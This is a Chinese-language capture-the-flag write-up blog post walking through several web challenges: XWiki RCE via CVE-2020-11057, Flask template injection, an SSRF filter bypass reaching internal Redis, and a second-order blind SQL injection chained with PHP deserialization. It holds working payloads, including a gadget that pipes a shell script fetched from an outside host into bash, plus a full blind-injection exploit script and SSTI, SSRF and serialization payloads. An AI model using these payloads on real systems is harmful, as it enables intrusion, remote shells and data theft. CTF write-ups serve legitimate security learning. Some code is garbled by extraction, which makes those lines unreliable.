Author:颖奇L’Amore Blog:www.gem-love.com 这个周末比较忙,就第一天中午打了一小会儿
XWiki 题目是XWiki 11.10.1,则可以使用CVE-2020-11057一键RCE:
Create new user
Go to profile -> Edit -> My dashboard -> Add gadget
Choose either python or groovy.
Paste following python/groovy code (for unix powered xwiki)
import osos.popen("curl y1ng.vip/shell.txtbash" )
r = Runtime.getRuntime() proc = r.exec ('curl y1ng.vip/shell.txtbash' ); BufferedReader stdInput1 = new BufferedReader(new InputStreamReader(proc.getInputStream())); String s1 = null; while ((s1 = stdInput1.readLine()) != null) { print s1; }
Submit the gadget
反弹shell后,在根目录下没有发现flag,而是有一个readflag,要让你比较数的大小,脱下来,IDA打开:
可以发现需要比较大小464次,但是比较完成之后就直接printf
一个Congratulations! Bye~~
就没了。 而我们自己本来就是root权限,一般的readflag是root用户启动,然后flag文件是400权限,所以利用readflag去读,可是本题目既然已经是root了,就应该不是这种套路(u1s1 出题人连用户权限都不会设置就默认给root 更不可能会弄flag的权限)。 当然我们首先没有找到flag文件、其次在readflag里没有发现去读取flag的操作,那么flag应该就在这个readflag里面。 果然,reverse爷爷一下就看出了flag:
simpleflask 题目是新版本werkzurg
,开了debug,应该是新版本算PIN码,然而可以直接读flag
出于好奇,顺便读一下源码:
from flask import flask, request, render_template_string, redirect, abortimport stringapp = flask(__name__) white_list = string.ascii_letters + string.digits + '()_-{}."[]=/' black_list = ["codecs" , "system" , "for" , "if" , "end" , "os" , "eval" , "request" , "write" , "mro" , "compile" , "execfile" , "exec" , "subprocess" , "importlib" , "platform" , "timeit" , "import" , "linecache" , "module" , "getattribute" , "pop" , "getitem" , "decode" , "popen" , "ifconfig" , "flag" , "config" ] def check (s ): if len (s) > 131 : abort(500 , "hacker" ) for i in s: if i not in white_list: abort(500 , "hacker" ) for i in black_list: if i in s: abort(500 , "hacker" ) @app.route('/' , methods=["post" ] ) def hello_world (): try : name = request.form["name" ] except exception: return render_template_string("<h1>request.form[\"name\"]<h1>" ) if name == "" : return render_template_string("<h1>hello world!<h1>" ) check(name) template = '<h1>hello {}!<h1>' .format (name) res = render_template_string(template) if "flag" in res: abort(500 , "hacker" ) return res if __name__ == '__main__' : app.run(host="0.0.0.0" , debug=true)
当然PIN也能算:
EZFLASK 给了不全的源码:
from flask import Flask, requestimport requestsfrom waf import *import timeapp = Flask(__name__) @app.route('/ctfhint' ) def ctf (): hint =xxxx trick = xxxx return trick @app.route('/' ) def index (): @app.route('/eval' , methods=["POST" ] ) def my_eval (): @app.route(xxxxxx, methods=["POST" ] ) def admin (): if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=8080 )
提交eval=ctf.__globals__
得到神秘路由和其他一些信息:
{'my_eval' : , 'app' : <flask 'app_1' ="" >, 'waf_eval' : , 'admin' : , 'index' : , 'waf_ip' : , '__builtins__' : <module '__builtin__' ="" (built-in)="" >, 'admin_route' : '/h4rdt0f1nd_9792uagcaca00qjaf' , '__file__' : 'app_1.py' , 'request' : <request 'http:=" " 124.70.206.91:10000=" " eval' ="" [post]="" >, '__package__' : None, 'Flask' : <class 'flask.app.flask' ="" >, 'ctf' : , 'waf_path' : , 'time' : <module 'time' ="" from="" '=" " usr=" " local=" " lib=" " python2.7=" " lib-dynload=" " time.so' ="" >, '__name__' : '__main__' , 'requests' : <module 'requests' ="" from="" '=" " usr=" " local=" " lib=" " python2.7=" " site-packages=" " requests=" " __init__.pyc' ="" >, '__doc__' : None}
之前做TJCTF 2018时,有个沙箱逃逸题是利用了co_consts
来读常量得到waf规则,结果我测试了一下被黑名单过滤了,然后就去忙别的事了,过会儿回来发现队友用这个读出了内网端口,不清楚是我当时多打了空格啥的还是题目有改动。得到:
(None, 'the admin route :h4rdt0f1nd_9792uagcaca00qjaf', 'too young too simple')
这里有个注释,是5000端口,下面我们来看看这个secret路由
但是他好像把127.0.0.1给ban了,很无语,也很无聊。因为127.0.0.0/8除了127.0.0.1是loopback以外其他都被保留了,然后网络设备见到127.0.0.0/8都会以127.0.0.1来对待,所以只要127.x.x.x即可绕过。
import flaskfrom xxxx import flagapp = flask.Flask(__name__) app.config['FLAG' ] = flag @app.route('/' ) def index (): return open ('app.txt' ).read() @app.route('/<path:hack>' ) def hack (hack ): return flask.render_template_string(hack) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=5000 )
一个套娃SSTI,过滤了括号加号等,比较麻烦,后来被队友做出来的
ip=127.1.1.1&path= {{url \_for.\_\_globals\_\_\['current\_app'\].\_\_dict\_\_}} &port=5000
SSSRFME <?php function safe_url ($url ,$safe ) { $parsed = parse_url($url ); $validate_ip = true ; if ($parsed ['port' ] && !in_array($parsed ['port' ],array ('80' ,'443' ))){ echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>" .PHP_EOL; return false ; }else { preg_match('/^\d+$/' , $parsed ['host' ]) && $parsed ['host' ] = long2ip($parsed ['host' ]); $long = ip2long($parsed ['host' ]); if ($long ===false ){ $ip = null ; if ($safe ){ @putenv('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1' ); $ip = gethostbyname($parsed ['host' ]); $long = ip2long($ip ); $long ===false && $ip = null ; @putenv('RES_OPTIONS' ); } }else { $ip = $parsed ['host' ]; } $ip && $validate_ip = filter_var($ip , FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE FILTER_FLAG_NO_RES_RANGE); } if (!in_array($parsed ['scheme' ],array ('http' ,'https' )) !$validate_ip ){ echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>" .PHP_EOL; return false ; }else { return $url ; } } function curl ($url ) { $safe = false ; if (safe_url($url ,$safe )) { $ch = curl_init(); curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt($ch , CURLOPT_HEADER, 0 ); curl_setopt($ch , CURLOPT_SSL_VERIFYPEER, false ); curl_setopt($ch , CURLOPT_SSL_VERIFYHOST, false ); $co = curl_exec($ch ); curl_close($ch ); echo $co ; } } highlight_file(__FILE__ ); curl($_GET ['url' ]);
parse_url()
存在SSRF漏洞,则可以打内网,根目题目暗示和EZFLASK有关联,所以也打一下5000端口,发现了套娃:
http://121.36.199.21:10808/?url=http://root:[email protected] :[email protected] /
测试发现为python3 urllib
根据题目hint说的Redis,打一下6379端口发现果然开了redis:
然后主从复制一把梭
carefuleyes 这个题是比赛结束后抽时间做的。www.zip得到源码,所有的提交都会被转义,没有办法直接注入。先看得到flag的点:
class XCTFGG { private $method ; private $args ; public function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; } function login ( ) { list ($username , $password ) = func_get_args(); $username = strtolower(trim(mysql_escape_string($username ))); $password = strtolower(trim(mysql_escape_string($password ))); $sql = sprintf("SELECT * FROM user WHERE username='%s' AND password='%s'" , $username , $password ); global $db ; $obj = $db ->query($sql ); $obj = $obj ->fetch_assoc(); global $FLAG ; if ( $obj != false && $obj ['privilege' ] == 'admin' ) { die ($FLAG ); } else { die ("Admin only!" ); } } function __destruct ( ) { @call_user_func_array(array ($this , $this ->method), $this ->args); } }
在upload中存在反序列化位点:
那么我们只要注出账号密码然后反序列化即可得到flag。注入位点主要在rename.php:
查询结果直接放进了新的查询中,则可造成二次注入;可利用$info['filename']
这个回显来布尔盲注,exp:
import HackRequests as HRimport requests as reqimport randomfrom urllib.parse import quote as urlencodeimport reCHALLENGE_ADDRESS = 'gem-love.com:80' def upload (name ): hack = HR.hackRequests() raw = f'''POST /upload.php HTTP/1.1 Host: {CHALLENGE_ADDRESS} User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=---------------------------257708923430047524191624862317 Connection: close Upgrade-Insecure-Requests: 1 -----------------------------257708923430047524191624862317 Content-Disposition: form-data; name="upfile"; filename="%s.jpg" Content-Type: image/jpeg Y1ng -----------------------------257708923430047524191624862317-- ''' % name hh = hack.httpraw(raw=raw, ssl=False ) def rename (name ): url = f'http://{CHALLENGE_ADDRESS} /rename.php' data = { 'oldname' : name, 'newname' : "TEST%d.jpg" % random.randint(1 ,1000000 ) } header = { "Content-Type" : "application/x-www-form-urlencoded" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Origin" : f"http://{CHALLENGE_ADDRESS} " , "Upgrade-Insecure-Requests" : "1" } r = req.post(url=url, data=data, headers=header) return re.search(r'oldfilename\ :\ \w+\.jpg\ will\ be\ changed' , r.text) def main (): sql = "select group_concat(password) from user" res = "" for i in range (1 ,10 ): for mid in range (32 , 128 ): name = f"Y1ng' or ascii(substr(({sql} ),{i} ,1))={mid} #" upload(name) if rename(name): res += chr (mid) print (res) break if __name__ == '__main__' : main()
在给的un.sql中得到用户名:
INSERT INTO user VALUES ('XM' , $db_pass, 'admin' )
之后反序列化:
<?php class XCTFGG { private $method = "login" ; private $args = array ("XM" , "qweqweqwe" ); } echo urlencode(serialize(new XCTFGG()));